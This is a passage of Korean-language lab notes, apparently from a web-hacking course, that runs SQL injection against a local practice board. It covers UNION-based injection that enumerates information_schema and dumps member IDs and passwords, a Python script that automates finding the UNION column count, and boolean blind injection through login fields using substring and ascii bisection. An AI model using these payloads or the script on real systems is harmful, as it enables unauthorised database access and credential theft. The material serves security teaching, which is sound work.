| COLLATION_NAME           | varchar(32)         | YES  |     | NULL    |       |
| COLUMN_TYPE              | longtext            | NO   |     | NULL    |       |
| COLUMN_KEY               | varchar(3)          | NO   |     |         |       |
| EXTRA                    | varchar(27)         | NO   |     |         |       |
| PRIVILEGES               | varchar(80)         | NO   |     |         |       |
| COLUMN_COMMENT           | varchar(1024)       | NO   |     |         |       |
+--------------------------+---------------------+------+-----+---------+-------+
20 rows in set (0.00 sec)


[root@webhacking html]# mysql -u webadmin -pP@ssw0rd information_schema

MariaDB [information_schema]> SELECT table_schema, table_name, column_name  FROM columns WHERE table_schema = 'WebTest';
+--------------+------------+-------------+
| table_schema | table_name | column_name |
+--------------+------------+-------------+
| WebTest      | board      | strNumber   |
| WebTest      | board      | strName     |
| WebTest      | board      | strPassword |
| WebTest      | board      | strEmail    |
| WebTest      | board      | strSubject  |
| WebTest      | board      | strContent  |
| WebTest      | board      | htmlTag     |
| WebTest      | board      | viewCount   |
| WebTest      | board      | filename    |
| WebTest      | board      | filesize    |
| WebTest      | board      | writeDate   |
| WebTest      | member     | no          |
| WebTest      | member     | u_id        |
| WebTest      | member     | u_pass      |
| WebTest      | member     | u_name      |
| WebTest      | member     | nickname    |
| WebTest      | member     | age         |
| WebTest      | member     | email       |
| WebTest      | member     | reg_date    |
+--------------+------------+-------------+
19 rows in set (0.01 sec)

MariaDB [information_schema]> use WebTest
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [WebTest]>
MariaDB [WebTest]> SELECT user(), database();
+--------------------+------------+
| user()             | database() |
+--------------------+------------+
| webadmin@localhost | WebTest    |
+--------------------+------------+
1 row in set (0.00 sec)

MariaDB [WebTest]> SELECT table_schema, table_name, column_name  FROM columns WHERE table_schema = 'WebTest';
ERROR 1146 (42S02): Table 'WebTest.columns' doesn't exist

MariaDB [WebTest]> SHOW TABLES;
+-------------------+
| Tables_in_WebTest |
+-------------------+
| board             |
| member            |
+-------------------+
2 rows in set (0.00 sec)

WebTest DB에 columns 테이블이 존재하지 않으므로 에러가 발생했다.
MariaDB [WebTest]> SELECT table_schema, table_name, column_name  FROM columns WHERE table_schema = 'WebTest';
ERROR 1146 (42S02): Table 'WebTest.columns' doesn't exist

information_schema.columns (DB명.TB명)을 명시해야 한다.
MariaDB [WebTest]> SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema = 'WebTest';
+--------------+------------+-------------+
| table_schema | table_name | column_name |
+--------------+------------+-------------+
| WebTest      | board      | strNumber   |
| WebTest      | board      | strName     |
| WebTest      | board      | strPassword |
| WebTest      | board      | strEmail    |
| WebTest      | board      | strSubject  |
| WebTest      | board      | strContent  |
| WebTest      | board      | htmlTag     |
| WebTest      | board      | viewCount   |
| WebTest      | board      | filename    |
| WebTest      | board      | filesize    |
| WebTest      | board      | writeDate   |
| WebTest      | member     | no          |
| WebTest      | member     | u_id        |
| WebTest      | member     | u_pass      |
| WebTest      | member     | u_name      |
| WebTest      | member     | nickname    |
| WebTest      | member     | age         |
| WebTest      | member     | email       |
| WebTest      | member     | reg_date    |
+--------------+------------+-------------+
19 rows in set (0.00 sec)

information_schema.tables에서 
table_schema: DB
table_name: TB

조작된 공격 쿼리:
' UNION SELECT 1,table_schema,3,4, table_name, 6,7,8,9,10, column_name FROM information_schema.columns WHERE table_schema = 'WebTest' #

로그에 기록된 쿼리
[root@webhacking ~]# > /var/lib/mysql/webhacking.log
[root@webhacking ~]# tail -f /var/lib/mysql/webhacking.log
230407 18:53:17   261 Connect   webadmin@localhost as anonymous on
                  261 Query     SET NAMES utf8
                  261 Init DB   WebTest
                  261 Query     select * from board where strSubject like '%' UNION SELECT 1,table_schema,3,4, table_name, 6,7,8,9,10, column_name FROM information_schema.columns WHERE table_schema = 'WebTest' #%' order by strNumber desc
                  261 Quit

결과는 아래와 같이 나온다.
게시판
번호  제목	       작성자   등록일                조회수
1     xss          관리자   2023-04-04 02:32:11   2
2	  11           관리자   2023-04-04 03:06:45   7
3	  안녕하세요.  테스터   2023-04-04 04:52:00   1
4     1            테스터   2023-04-04 04:52:48   2
1     board        WebTest  strNumber             8
1     board        WebTest strName                8
1     board        WebTest strPassword            8
1     board        WebTest strEmail               8
1     board        WebTest strSubject             8
1     board        WebTest strContent             8
1     board        WebTest htmlTag                8
1     board        WebTest viewCount              8
1     board        WebTest filename               8
1     board        WebTest filesize               8
1     board        WebTest writeDate              8
1     member       WebTest no                     8
1     member       WebTest u_id                   8
1     member       WebTest u_pass                 8
1     member       WebTest u_name                 8
1     member       WebTest nickname               8
1     member       WebTest age                    8
1     member       WebTest email                  8
1     member       WebTest reg_date               8


information_schema.tables에서 
table_schema: DB
table_name: TB

조작된 공격 쿼리: member테이블만 출력한다.
' UNION SELECT 1,table_schema,3,4, table_name, 6,7,8,9,10, column_name FROM information_schema.columns WHERE table_name = 'member' #

로그에 기록된 쿼리
230407 19:06:12   263 Connect   webadmin@localhost as anonymous on
                  263 Query     SET NAMES utf8
                  263 Init DB   WebTest
                  263 Query     select * from board where strSubject like '%' UNION SELECT 1,table_schema,3,4, table_name, 6,7,8,9,10, column_name FROM information_schema.columns WHERE table_name = 'member' #%' order by strNumber desc
                  263 Quit

SQLi 에 의해서 실제 실행된 쿼리는 아래와 같다.
select * from board where strSubject like '%' 
UNION 
SELECT 1,table_schema,3,4, table_name, 6,7,8,9,10, column_name 
       FROM information_schema.columns WHERE table_name = 'member'


member 테이블만 추출하면 결과는 아래와 같이 나온다.
게시판
번호  제목        작성자   등록일                조회수
1     CSRF TEST2   테스터   2022-10-28 12:05:32   3
2     1            테스터   2022-10-28 17:26:23   8
1     member       no       WebTest               8
1     member       u_id     WebTest               8  <-- 공격자가 원하는 값
1     member       u_pass   WebTest               8  <-- 공격자가 원하는 값
1     member       u_name   WebTest               8
1     member       nickname WebTest               8
1     member       age      WebTest               8
1     member       email    WebTest               8
1     member       reg_date WebTest               8

member 테이블에서의 컬럼명
u_id: 아이디
u_pass: 비밀번호
u_name: 이름
공격 쿼리: ' UNION SELECT 1,u_pass,3,4,u_id,6,7,8,9,10,u_name FROM member#

로그에 기록된 쿼리
230407 19:22:12   264 Connect   webadmin@localhost as anonymous on
                  264 Query     SET NAMES utf8
                  264 Init DB   WebTest
                  264 Query     select * from board where strSubject like '%' UNION SELECT 1,u_pass,3,4,u_id,6,7,8,9,10,u_name FROM member#%' order by strNumber desc
                  264 Quit

SQLi 에 의해서 실제 실행된 쿼리는 아래와 같다.
select * from board where strSubject like '%' 
UNION 
SELECT 1,u_pass,3,4,u_id,6,7,8,9,10,u_name FROM member

게시판
번호  제목        작성자   등록일	             조회수
1     CSRF TEST2  테스터   2022-10-28 12:05:32   3
2     1	          테스터   2022-10-28 17:26:23   8
1     tester      111111   테스터                8
1     admin       222222   관리자                8   <-- 관리자 아이디/비번이 출력되었다.


##############
## Blind SQLi
##############

blind SQLi은 Query 의 결과 값이 반환되지 않고 감추어져 있을 경우에 사용하는 공격 기법이다.
그러므로 블라인드로 감춰져서 결과값이 눈에 보이지 않기 때문에 하나씩 하나씩 대조해서 원하는 
결과값을 얻어야 한다.

Query 결과 확인
Boolean(true, false) 타입에 따라서 판단한다.
페이지 응답을 가지고 참/거짓을 판단한다.
Time 기반을 가지고 참/거짓을 판단한다.

설정 파일 변경
# vi /etc/php.ini
display_errors = Off

# systemctl reload httpd


display_errors = On으로 설정된 경우
- 개발 서버에서 사용한다.
- 에러가 발생하면 에러가 브라우저 화면에 출력된다.

display_errors = Off로 설정된 경우
- 운영 서버에서 사용한다.
- 에러가 발생하면 에러가 브라우저 화면이 아닌 서버의 로그 파일에 출력된다.
- 로그 위치 : /var/log/httpd/
- 가상호스트로 지정했을 때의 로그 위치 : 가상호스트의 세팅 부분을 참고

실습> UNION 공격을 이용한 blind SQLi 이해하기

1. Blind SQLi 이(가) 설정되지 않는 경우

공격 위치: 게시판 -> 글보기
공격쿼리: UNION SELECT 1#
공격 URL: http://192.168.20.41/board/board_view.php?num=2 UNION SELECT 1#

반환된 결과 값:
컬럼의 개수가 맞지 않기 때문에 에러가 발생된 것이다.
/etc/php.ini의 설정에서 display_errors = On 으로 설정되어 있기 때문이다.

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /var/www/html/board/board_view.php on line 44


로그에 기록된 쿼리:
230407 19:54:17   268 Connect   webadmin@localhost as anonymous on
                  268 Query     SET NAMES utf8
                  268 Init DB   WebTest
                  268 Query     update board set viewCount=viewCount+1 where strNumber=2 UNION SELECT 1
                  268 Query     select * from board where strNumber=2 UNION SELECT 1
                  268 Quit

DB에 접속해서 직접 실행한 쿼리의 결과:
MariaDB [WebTest]> select * from board where strNumber=2 UNION SELECT 1;
ERROR 1222 (21000): The used SELECT statements have a different number of columns

2. Blind SQLi 이(가) 설정된 경우
PHP 설정 파일을 에러가 출력되지 않도록 변경한 후 웹서버를 재시작한다.
[root@webhacking html]# vi /etc/php.ini
display_errors = Off

[root@webhacking html]# systemctl restart httpd


공격 위치: 게시판 -> 글보기
공격쿼리: UNION SELECT 1#
공격 URL: http://192.168.20.41/board/board_view.php?num=2 UNION SELECT 1#

반환된 결과 값:
컬럼의 개수가 맞지 않아도 에러가 발생되지 않는다.
/etc/php.ini의 설정에서 display_errors = Off 로 설정되어 있기 때문이다.

실제 에러 메세지는 클라이언트 화면에 출력되지 않고 아파치 에러 로그 파일에 기록된다.

[root@webhacking html]# tail /var/log/httpd/error_log
  :
  :(생략)
[Fri Apr 07 19:57:49.007634 2023] [:error] [pid 16522] [client 192.168.20.41:10299] PHP Warning:  mysql_fetch_array() expects parameter 1 to be resource, boolean given in /var/www/html/board/board_view.php on line 44

로그에 기록된 쿼리:
230407 19:57:49   269 Connect   webadmin@localhost as anonymous on
                  269 Query     SET NAMES utf8
                  269 Init DB   WebTest
                  269 Query     update board set viewCount=viewCount+1 where strNumber=2 UNION SELECT 1

DB에 접속해서 직접 실행한 쿼리의 결과:
MariaDB [WebTest]> select * from board where strNumber=2 UNION SELECT 1;
ERROR 1222 (21000): The used SELECT statements have a different number of columns

지난번에 생성한 union SQLi 자동화 공격도구를 실행한다.
[root@webhacking ~]# . SQLiProject/bin/activate
(SQLiProject) [root@webhacking ~]# ./unionAttackDebug.py
UNION 매칭 OK!!!
>>> 매칭된 값 1 : http://192.168.20.41/board/board_view.php?num=2 UNION SELECT 1 <<<

공격코드는 아래 실습> union 공격코드 작성하기를 참고한다.

실습> union 공격코드 작성하기

컬럼의 개수가 맞지 않으면 에러가 발생하므로 클라이언트에 전송된 소스에 <b>Warning</b> 메세지가 있다.
컬럼의 개수가 맞으면 에러가 발생하지 않으므로 클라이언트에 전송된 소스에 <b>Warning</b> 메세지가 없다.

1. 공격 코드 작성
(SQLiProject) [root@webhacking ~]# vi unionAttackDebug.py
#!/usr/bin/env python
"""
파일명: unionAttackDebug.py
프로그램 설명: union 공격을 디버깅하기 위한 예제
작성자: 리눅스마스터넷
"""

import requests
import bs4
victimIP = "192.168.20.41" # 자신의 WAF 의 IP주소

num = "2 UNION SELECT 1"

for i in range(1,13):  # 1 ~ 12
    if i > 1:
        num = num + "," + str(i)
        #print(num)

    url = f"http://{victimIP}/board/board_view.php?num={num}"
    res = requests.get(url)
    soup = bs4.BeautifulSoup(res.text, 'html.parser')
    a = soup.find('b')

    # Warning 메세지는 에러일 때 나오는 메세지이다.
    if a.text != 'Warning':
        print('UNION 매칭 OK!!!')
        print(f'>>> 매칭된 값 {i} : {url} <<<')
        break

    #print(f'>>> {i} : {url} <<<')
else:
    print('UNION 매칭을 찾을 수 없습니다!!!')


문서 참고: https://mariadb.org/documentation

substring(): 문자열을 자르는 함수
형식: substring(자를 문자열, 시작 위치, 개수)
substring() 함수에서 시작 위치는 1부터 시작한다.

MariaDB [user1DB]> SELECT 'admin';
+-------+
| admin |
+-------+
| admin |
+-------+
1 row in set (0.00 sec)

MariaDB [user1DB]> SELECT substring('admin', 1, 1);
+--------------------------+
| substring('admin', 1, 1) |
+--------------------------+
| a                        |
+--------------------------+
1 row in set (0.00 sec)

MariaDB [user1DB]> SELECT substring('admin', 2, 1);
+--------------------------+
| substring('admin', 2, 1) |
+--------------------------+
| d                        |
+--------------------------+
1 row in set (0.00 sec)

MariaDB [user1DB]> SELECT substring('admin', 3, 1);
+--------------------------+
| substring('admin', 3, 1) |
+--------------------------+
| m                        |
+--------------------------+
1 row in set (0.00 sec)

MariaDB [user1DB]> SELECT substring('admin', 4, 1);
+--------------------------+
| substring('admin', 4, 1) |
+--------------------------+
| i                        |
+--------------------------+
1 row in set (0.00 sec)

MariaDB [user1DB]> SELECT substring('admin', 5, 1);
+--------------------------+
| substring('admin', 5, 1) |
+--------------------------+
| n                        |
+--------------------------+
1 row in set (0.00 sec)

MariaDB [user1DB]> SELECT substring('admin', 6, 1);
+--------------------------+
| substring('admin', 6, 1) |
+--------------------------+
|                          |  <-- 데이터가  이상 없기 때문에 아무것도 출력되지 않는다.
+--------------------------+
1 row in set (0.00 sec)

개수를 늘려가면서 문자열 출력을 확인한다.
MariaDB [user1DB]> SELECT substring('admin', 1, 1);
+--------------------------+
| substring('admin', 1, 1) |
+--------------------------+
| a                        |
+--------------------------+
1 row in set (0.00 sec)

MariaDB [user1DB]> SELECT substring('admin', 1, 2);
+--------------------------+
| substring('admin', 1, 2) |
+--------------------------+
| ad                       |
+--------------------------+
1 row in set (0.00 sec)

MariaDB [user1DB]> SELECT substring('admin', 1, 3);
+--------------------------+
| substring('admin', 1, 3) |
+--------------------------+
| adm                      |
+--------------------------+
1 row in set (0.00 sec)

MariaDB [user1DB]> SELECT substring('admin', 1, 4);
+--------------------------+
| substring('admin', 1, 4) |
+--------------------------+
| admi                     |
+--------------------------+
1 row in set (0.00 sec)

MariaDB [user1DB]> SELECT substring('admin', 1, 5);
+--------------------------+
| substring('admin', 1, 5) |
+--------------------------+
| admin                    |
+--------------------------+
1 row in set (0.00 sec)

MariaDB [user1DB]> SELECT substring('admin', 1, 6);
+--------------------------+
| substring('admin', 1, 6) |
+--------------------------+
| admin                    |
+--------------------------+
1 row in set (0.00 sec)

MariaDB [user1DB]> SELECT substring('admin', 1, 7);
+--------------------------+
| substring('admin', 1, 7) |
+--------------------------+
| admin                    |
+--------------------------+
1 row in set (0.00 sec)

MariaDB [user1DB]> SELECT substring('admin', 3, 3);
+--------------------------+
| substring('admin', 3, 3) |
+--------------------------+
| min                      |
+--------------------------+
1 row in set (0.00 sec)

아스키코드 참고
https://ko.wikipedia.org/wiki/ASCII

10진수 16진수  문자
48     30      0	
65     41      A	
97     61      a	

참고로 ls는 파일의 리스트를 얻어서 아스키코드의 순서대로 sort 해서 출력한다.
(SQLiProject) [root@webhacking ~]# mkdir test; cd test
(SQLiProject) [root@webhacking test]# touch 0.txt 1.txt a.txt A.txt

기본값: ASCII 코드 형태로 sort
(SQLiProject) [root@webhacking test]# ls -l
합계 0
-rw-r--r--. 1 root root 0  4월  7 20:31 0.txt
-rw-r--r--. 1 root root 0  4월  7 20:31 1.txt
-rw-r--r--. 1 root root 0  4월  7 20:31 A.txt
-rw-r--r--. 1 root root 0  4월  7 20:31 a.txt

-r: reverse 옵션
(SQLiProject) [root@webhacking test]# ls -lr
합계 0
-rw-r--r--. 1 root root 0  4월  7 20:31 a.txt
-rw-r--r--. 1 root root 0  4월  7 20:31 A.txt
-rw-r--r--. 1 root root 0  4월  7 20:31 1.txt
-rw-r--r--. 1 root root 0  4월  7 20:31 0.txt

-U: do not sort 옵션 (만든 순서대로)
(SQLiProject) [root@webhacking test]# ls -lU
합계 0
-rw-r--r--. 1 root root 0  4월  7 20:31 0.txt
-rw-r--r--. 1 root root 0  4월  7 20:31 1.txt
-rw-r--r--. 1 root root 0  4월  7 20:31 a.txt
-rw-r--r--. 1 root root 0  4월  7 20:31 A.txt


ascii() : 문자의 ASCII 코드값을 10진수로 반환해주는 함수
형식 :  ascii(숫자), ascii('문자')

MariaDB [user1DB]> SELECT ascii(0);
+----------+
| ascii(0) |
+----------+
|       48 |
+----------+
1 row in set (0.00 sec)

MariaDB [user1DB]> SELECT ascii('A');
+------------+
| ascii('A') |
+------------+
|         65 |
+------------+
1 row in set (0.00 sec)

MariaDB [user1DB]> SELECT ascii('a');
+------------+
| ascii('a') |
+------------+
|         97 |
+------------+
1 row in set (0.00 sec)


MariaDB [user1DB]> USE WebTest

MariaDB [WebTest]> DESC member;
+----------+-------------+------+-----+---------+----------------+
| Field    | Type        | Null | Key | Default | Extra          |
+----------+-------------+------+-----+---------+----------------+
| no       | int(11)     | NO   | PRI | NULL    | auto_increment |
| u_id     | varchar(20) | NO   | UNI | NULL    |                |
| u_pass   | varchar(50) | NO   |     | NULL    |                |
| u_name   | varchar(20) | NO   |     | NULL    |                |
| nickname | char(20)    | YES  |     | NULL    |                |
| age      | int(11)     | YES  |     | NULL    |                |
| email    | char(50)    | YES  |     | NULL    |                |
| reg_date | datetime    | NO   |     | NULL    |                |
+----------+-------------+------+-----+---------+----------------+
8 rows in set (0.00 sec)

MariaDB [WebTest]> SELECT u_id FROM member;
+--------+
| u_id   |
+--------+
| admin  |
| tester |
+--------+
2 rows in set (0.00 sec)

MariaDB [WebTest]> SELECT u_id FROM member LIMIT 0,1;
+-------+
| u_id  |
+-------+
| admin |
+-------+
1 row in set (0.00 sec)

MariaDB [WebTest]> SELECT u_id FROM member LIMIT 1,1;
+--------+
| u_id   |
+--------+
| tester |
+--------+
1 row in set (0.00 sec)

MariaDB [WebTest]> SELECT u_id FROM member LIMIT 0,2;
+--------+
| u_id   |
+--------+
| admin  |
| tester |
+--------+
2 rows in set (0.00 sec)


MariaDB [WebTest]> SELECT substring('tester', 1, 1);
+---------------------------+
| substring('tester', 1, 1) |
+---------------------------+
| t                         |
+---------------------------+
1 row in set (0.00 sec)

substring() 함수의 첫 번째 인수에 쿼리가 들어가는데 그냥 넣으면 에러가 발생한다.
그러므로 이 쿼리는 틀린 것이다.
MariaDB [WebTest]> SELECT substring(SELECT u_id FROM member LIMIT 1,1, 1, 1);
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'SELECT u_id FROM member LIMIT 1,1, 1, 1)' at line 1

substring() 함수의 첫 번째 인수에 쿼리가 문자열로 들어가면 그 문자열에서 첫 번째 한 문자는 S 이다.
그러므로 이것도 틀린 것이다.
MariaDB [WebTest]> SELECT substring('SELECT u_id FROM member LIMIT 1,1', 1, 1);
+------------------------------------------------------+
| substring('SELECT u_id FROM member LIMIT 1,1', 1, 1) |
+------------------------------------------------------+
| S                                                    |
+------------------------------------------------------+
1 row in set (0.00 sec)

substring() 함수의 첫 번째 인수에 쿼리를 줄려면 괄호 안에 (쿼리)가 들어가야 한다.
그러므로 쿼리를 넣을때는 반드시 소괄호 안에 넣어야 한다.
MariaDB [WebTest]> SELECT substring((SELECT u_id FROM member LIMIT 1,1), 1, 1);
+------------------------------------------------------+
| substring((SELECT u_id FROM member LIMIT 1,1), 1, 1) |
+------------------------------------------------------+
| t                                                    |
+------------------------------------------------------+
1 row in set (0.01 sec)

아래 쿼리의 결과가 SELECT substring('tester', 1, 1);이 되는 것이다.
SELECT substring((SELECT u_id FROM member LIMIT 1,1), 1, 1); == SELECT substring('tester', 1, 1); -> t

member테이블에서 첫 번째 레코드에서 1개를 확인하는 쿼리
MariaDB [WebTest]> SELECT u_id FROM member LIMIT 0,1;
+-------+
| u_id  |
+-------+
| admin |
+-------+
1 row in set (0.00 sec)

member테이블에서 첫 번째 레코드에서 substring()함수를 이용해서 첫 번째 글자부터 1개의 문자를 확인하는 쿼리
MariaDB [WebTest]> SELECT substring((SELECT u_id FROM member LIMIT 0,1), 1, 1);
+------------------------------------------------------+
| substring((SELECT u_id FROM member LIMIT 0,1), 1, 1) |
+------------------------------------------------------+
| a                                                    |
+------------------------------------------------------+
1 row in set (0.00 sec)

member테이블에서 첫 번째 레코드에서 substring()함수를 이용해서 첫 번째 글자부터 2개의 문자를 확인하는 쿼리
MariaDB [WebTest]> SELECT substring((SELECT u_id FROM member LIMIT 0,1), 1, 2);
+------------------------------------------------------+
| substring((SELECT u_id FROM member LIMIT 0,1), 1, 2) |
+------------------------------------------------------+
| ad                                                   |
+------------------------------------------------------+
1 row in set (0.00 sec)

MariaDB [WebTest]> SELECT substring((SELECT u_id FROM member LIMIT 0,1), 1, 3);
+------------------------------------------------------+
| substring((SELECT u_id FROM member LIMIT 0,1), 1, 3) |
+------------------------------------------------------+
| adm                                                  |
+------------------------------------------------------+
1 row in set (0.00 sec)

MariaDB [WebTest]> SELECT substring((SELECT u_id FROM member LIMIT 0,1), 1, 4);
+------------------------------------------------------+
| substring((SELECT u_id FROM member LIMIT 0,1), 1, 4) |
+------------------------------------------------------+
| admi                                                 |
+------------------------------------------------------+
1 row in set (0.00 sec)

MariaDB [WebTest]> SELECT substring((SELECT u_id FROM member LIMIT 0,1), 1, 5);
+------------------------------------------------------+
| substring((SELECT u_id FROM member LIMIT 0,1), 1, 5) |
+------------------------------------------------------+
| admin                                                |
+------------------------------------------------------+
1 row in set (0.00 sec)

MariaDB [WebTest]> SELECT substring((SELECT u_id FROM member LIMIT 0,1), 1, 6);
+------------------------------------------------------+
| substring((SELECT u_id FROM member LIMIT 0,1), 1, 6) |
+------------------------------------------------------+
| admin                                                |
+------------------------------------------------------+
1 row in set (0.01 sec)



MariaDB [WebTest]> SELECT u_id FROM member LIMIT 1,1;
+--------+
| u_id   |
+--------+
| tester |
+--------+
1 row in set (0.00 sec)

member테이블에서 두 번째 레코드에서 substring()함수를 이용해서 세 번째 글자부터 3개의 문자를 확인하는 쿼리
MariaDB [WebTest]> SELECT substring((SELECT u_id FROM member LIMIT 1,1), 3, 3);
+------------------------------------------------------+
| substring((SELECT u_id FROM member LIMIT 1,1), 3, 3) |
+------------------------------------------------------+
| ste                                                  |
+------------------------------------------------------+
1 row in set (0.00 sec)

MariaDB [WebTest]> SELECT substring((SELECT u_id FROM member LIMIT 1,1), 1, 1);
+------------------------------------------------------+
| substring((SELECT u_id FROM member LIMIT 1,1), 1, 1) |
+------------------------------------------------------+
| t                                                    |
+------------------------------------------------------+
1 row in set (0.00 sec)

member테이블에서 첫 번째 레코드에서 substring()함수를 이용해서 첫 번째 글자부터 1개의 문자를 확인해서 
문자 t와 같으면 참이므로 1이 출력이 된다. 
문자 t와 다르면 거짓이므로 0이 출력이 된다. 

member테이블에서 첫 번째 레코드에서 substring()함수를 이용해서 첫 번째 글자부터 1개의 문자를 확인하는 쿼리
t와 같기 때문에 참이므로 1이 출력이 된다.
MariaDB [WebTest]> SELECT substring((SELECT u_id FROM member LIMIT 1,1), 1, 1) = 't';
+------------------------------------------------------------+
| substring((SELECT u_id FROM member LIMIT 1,1), 1, 1) = 't' |
+------------------------------------------------------------+
|                                                          1 |  <-- 참이기 때문에 1이 return 된다.
+------------------------------------------------------------+
1 row in set (0.00 sec)

member테이블에서  번째 레코드에서 substring()함수를 이용해서  번째 글자부터 1개의 문자를 확인해서 
문자 a와 같으면 1이 출력되고 틀리면 0이 출력된다.
MariaDB [WebTest]> SELECT substring((SELECT u_id FROM member LIMIT 1,1), 1, 1) = 'a';
+------------------------------------------------------------+
| substring((SELECT u_id FROM member LIMIT 1,1), 1, 1) = 'a' |
+------------------------------------------------------------+
|                                                          0 | <-- 거짓이기 때문에 0이 return 된다.
+------------------------------------------------------------+
1 row in set (0.00 sec)
실습> WebTest DB를 알기 위해서 쿼리가 몇 번 실행이 되야 하는가?

여기서 숫자는 빼고 쿼리를 실행한다고 했을 경우!

실습> 이분법을 이용한 쿼리 줄이기

ascii()함수는 ascii('문자') 를 넣어주면 10진수의 아스키값이 출력된다.
MariaDB [WebTest]> SELECT ascii('O');
+------------+
| ascii('O') |
+------------+
|         79 |
+------------+
1 row in set (0.00 sec)

SELECT database() -> 'WebTest' -> SELECT가 화면에 WebTest를 출력한다.
MariaDB [WebTest]> SELECT database();
+------------+
| database() |
+------------+
| WebTest    |
+------------+
1 row in set (0.00 sec)

MariaDB [WebTest]> SELECT substring((database()),1,1);
+-----------------------------+
| substring((database()),1,1) |
+-----------------------------+
| W                           |
+-----------------------------+
1 row in set (0.00 sec)

함수이므로 소괄호()가 들어갈 필요가 없다.
MariaDB [WebTest]> SELECT substring(database(),1,1);
+---------------------------+
| substring(database(),1,1) |
+---------------------------+
| W                         |
+---------------------------+
1 row in set (0.00 sec)

MariaDB [WebTest]> SELECT ascii(substring(database(),1,1));
+----------------------------------+
| ascii(substring(database(),1,1)) |
+----------------------------------+
|                               87 |
+----------------------------------+
1 row in set (0.00 sec)

MariaDB [WebTest]> SELECT ascii(substring(database(),1,1)) > 79;
+---------------------------------------+
| ascii(substring(database(),1,1)) > 79 |
+---------------------------------------+
|                                     1 |
+---------------------------------------+
1 row in set (0.00 sec)

87: 대문자 W
79: 대문자 O
SELECT ascii(substring(database(),1,1)) > 79; 쿼리는 아래 쿼리와 동일하다.
MariaDB [WebTest]> SELECT 87 > 79;
+---------+
| 87 > 79 |
+---------+
|       1 |
+---------+
1 row in set (0.00 sec)

U를 검사한다.
MariaDB [WebTest]> SELECT ascii('U');
+------------+
| ascii('U') |
+------------+
|         85 |
+------------+
1 row in set (0.00 sec)

MariaDB [WebTest]> SELECT ascii(substring((database()), 1,1)) > 85;
+------------------------------------------+
| ascii(substring((database()), 1,1)) > 85 |
+------------------------------------------+
|                                        1 |
+------------------------------------------+
1 row in set (0.00 sec)

MariaDB [WebTest]> SELECT 87 > 85;
+---------+
| 87 > 85 |
+---------+
|       1 |
+---------+
1 row in set (0.00 sec)


X를 검사한다.
MariaDB [WebTest]> SELECT ascii('X');
+------------+
| ascii('X') |
+------------+
|         88 |
+------------+
1 row in set (0.00 sec)

MariaDB [WebTest]> SELECT ascii(substring((database()), 1,1)) > 88;
+------------------------------------------+
| ascii(substring((database()), 1,1)) > 88 |
+------------------------------------------+
|                                        0 |
+------------------------------------------+
1 row in set (0.00 sec)

MariaDB [WebTest]> SELECT 87 > 88;
+---------+
| 87 > 88 |
+---------+
|       0 |
+---------+
1 row in set (0.00 sec)


MariaDB [WebTest]> SELECT ascii(substring((database()), 1,1)) > ascii('X');
+--------------------------------------------------+
| ascii(substring((database()), 1,1)) > ascii('X') |
+--------------------------------------------------+
|                                                0 |
+--------------------------------------------------+
1 row in set (0.00 sec)

V를 검사한다.
MariaDB [WebTest]> SELECT ascii('V');
+------------+
| ascii('V') |
+------------+
|         86 |
+------------+
1 row in set (0.00 sec)

MariaDB [WebTest]> SELECT ascii(substring((database()), 1,1)) > 86;
+------------------------------------------+
| ascii(substring((database()), 1,1)) > 86 |
+------------------------------------------+
|                                        1 |
+------------------------------------------+
1 row in set (0.00 sec)

MariaDB [WebTest]> SELECT ascii(substring((database()), 1,1)) > ascii('V');
+--------------------------------------------------+
| ascii(substring((database()), 1,1)) > ascii('V') |
+--------------------------------------------------+
|                                                1 |
+--------------------------------------------------+
1 row in set (0.00 sec)

MariaDB [WebTest]> SELECT 87 > 86;
+---------+
| 87 > 86 |
+---------+
|       1 |
+---------+
1 row in set (0.00 sec)

MariaDB [WebTest]> SELECT ascii(substring((database()), 1,1)) = 87;
+------------------------------------------+
| ascii(substring((database()), 1,1)) = 87 |
+------------------------------------------+
|                                        1 |
+------------------------------------------+
1 row in set (0.00 sec)

database 명의 첫 번째 문자가 W라는 것을 확인할 수 있다.
MariaDB [WebTest]> SELECT ascii(substring((database()), 1,1)) = ascii('W');
+--------------------------------------------------+
| ascii(substring((database()), 1,1)) = ascii('W') |
+--------------------------------------------------+
|                                                1 |
+--------------------------------------------------+
1 row in set (0.00 sec)

결국 23번의 쿼리가 실행되어야 W를 얻을 수 있지만 공격횟수를 줄이는 이분법을 이용하면
5번만에 W를 얻을 수 있다.

python 함수
ord(문자) : 문자에 해당하는 ASCII 숫자를 반환한다.
chr(숫자) : 숫자에 해당하는 문자가 반환된다.

>>> ord('A')
65
>>> chr(65)
'A'
>>> chr(0x41)
'A'

실습> Blind SQLi (Boolean)

Burp 를 이용해서 Proxy 를 활성화한 상태에서 테스트한다.

o 로그인 실패인 경우
1. 로그 모니터링
# > /var/lib/mysql/webhacking.log
# tail -f /var/lib/mysql/webhacking.log

2. 로그인
LOGIN ID: ' or ascii(substring(database(), 1, 1)) = 97#
PASSWORD: 12345

3. 쿼리 확인
# tail -f /var/lib/mysql/webhacking.log
230410 12:09:54   280 Connect   webadmin@localhost as anonymous on
                  280 Query     SET NAMES utf8
                  280 Init DB   WebTest
                  280 Query     select * from member where u_id='' or ascii(substring(database(), 1, 1)) = 97#' and u_pass='12345'
                  280 Quit


4. 서버의 응답 값
로그인이 실패가 되면 아래처럼 로그인 실패 메세지가 전송된다. 
HTTP/1.1 200 OK
Date: Mon, 10 Apr 2023 03:09:54 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 129
Connection: close
Content-Type: text/html; charset=UTF-8

<script>
        alert('아이디 또는 패스워드가 일치하지 않습니다.');
        history.back();
      </script>

5. 직접 쿼리 실행
쿼리의 결과값이 아무것도 없기 때문에 로그인에 실패된다.
MariaDB [WebTest]> select * from member where u_id='' or ascii(substring(database(), 1, 1)) = 97#' and u_pass='1234'
    -> ;
Empty set (0.00 sec)  


o 로그인 성공인 경우
1. 로그 모니터링
# tail -f /var/lib/mysql/webhacking.log

2. 로그인
LOGIN ID: ' or ascii(substring(database(), 1, 1)) = 87#
PASSWORD: 1234

3. 쿼리 확인
# tail -f /var/lib/mysql/webhacking.log
230410 12:13:39   282 Connect   webadmin@localhost as anonymous on
                  282 Query     SET NAMES utf8
